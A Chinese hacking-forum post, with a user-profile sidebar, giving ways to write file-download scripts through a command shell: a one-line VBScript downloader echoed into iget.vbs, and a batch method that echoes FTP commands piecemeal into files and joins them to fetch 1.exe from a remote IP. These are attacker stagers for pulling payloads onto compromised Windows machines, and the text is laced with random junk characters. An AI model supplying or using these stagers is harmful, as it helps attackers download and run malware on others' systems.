- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: ' {9 V8 U$ @; s& p; z
1.iget.vbs一次写入
0 S- n* n$ W& |6 o: v" x/ z在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 & c w/ e- D* `0 I+ P
5 p" s8 B; q0 V4 qSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 ! X+ G. ^ s1 Y1 [
0 H* g8 f2 ]" w# [) L
这样我们可以一次echo成功,echo版本: & v% t# s- T1 _7 s8 ]/ U8 B
7 a, v6 A. m- E6 z) p& v* D+ J& z
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 6 _/ I- \% S0 z* Q0 }" W9 U
, a/ D0 [9 J" J
# V% `3 u5 U' x' R/ t
2.bat调用ftp脚本的写法(by envymask) 5 v% w4 J4 m. Z
& L* L" p& T4 r8 N3 U+ `9 Hecho ftp>1.vbs
; s7 l' G# U+ Q$ o3 g. Hecho open ip>2.vbs
3 u+ I* c- [$ G. l: l! yecho u>3.vbs
) A. s! A% Y/ fecho s>4.vbs - ]3 C3 u3 ~# q* L
echo binary>5.vbs
! \4 \* r3 e9 r% P- o5 W& Vecho get 1.exe>6.vbs 4 f+ }( Q; f* F, i5 q
echo bay>7.vbs
% p$ A# k5 _4 V6 w" @
5 y1 H( D0 ^* n9 ^* \. pcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
. ?3 f7 s- D5 Q( y0 I. H) n</P> |
zan
|